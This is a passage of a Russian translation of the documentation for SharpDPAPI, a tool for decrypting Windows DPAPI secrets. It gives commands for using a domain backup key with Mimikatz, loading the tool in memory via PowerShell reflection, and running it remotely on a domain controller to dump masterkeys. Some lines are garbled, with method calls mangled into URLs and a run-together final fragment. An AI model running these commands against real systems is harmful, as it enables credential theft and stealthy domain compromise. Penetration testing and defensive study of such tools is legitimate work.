Этот base64-блоб ключа можно декодировать в двоичный файл .pvk, который затем можно использовать с модулем Mimikatz dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk или в виде блоба/файла /pvk:X с командами masterkeys, credentials или vault SharpDPAPI.
По умолчанию SharpDPAPI пытается определить текущий контроллер домена через вызов API DsGetDcName. Сервер можно указать с помощью /server:COMPUTER.domain.com. Если вы хотите сохранить ключ на диск, а не выводить его в виде base64-блоба, используйте /file:key.pvk.
Мы не планируем выпускать скомпилированные бинарники для SharpDPAPI, поэтому вам придется скомпилировать его самостоятельно :)
SharpDPAPI собран под .NET 3.5 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл проекта .sln, выберите "Release" и выполните сборку.
Конфигурация сборки SharpDPAPI по умолчанию предназначена для .NET 3.5, что приведет к ошибке на системах, где эта версия не установлена. Чтобы скомпилировать SharpDPAPI под .NET 4 или 4.5, откройте файл решения .sln, перейдите в Project -> SharpDPAPI Properties и измените "Target framework" на нужную версию.
Если вы хотите запустить SharpDPAPI в памяти через обертку PowerShell, сначала скомпилируйте SharpDPAPI и закодируйте полученную сборку в base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
Затем SharpDPAPI можно загрузить в скрипте PowerShell следующим образом (где "aa..." заменяется на строку base64-кодированной сборки SharpDPAPI):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Затем можно вызвать метод Main() и передать любые аргументы:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)
Из-за того, как PSRemoting обрабатывает вывод, нам нужно перенаправить stdout в строку и вернуть её вместо этого. К счастью, у SharpDPAPI есть функция, которая помогает с этим.
Если вы выполнили инструкции из Примечание: запуск SharpDPAPI через PowerShell для создания SharpDPAPI.ps1, добавьте в скрипт что-то вроде следующего:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)
Затем вы сможете запустить SharpDPAPI через PSRemoting с помощью чего-то вроде:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
В качестве альтернативы аргумент SharpDPAPI /consoleoutfile:C:\FILE.txt перенаправит все потоки вывода в указанный файл.
/mkfile:FILE/pvk:BASE64.../pvk:key.pvk/password:Xsekurlsa::dpapi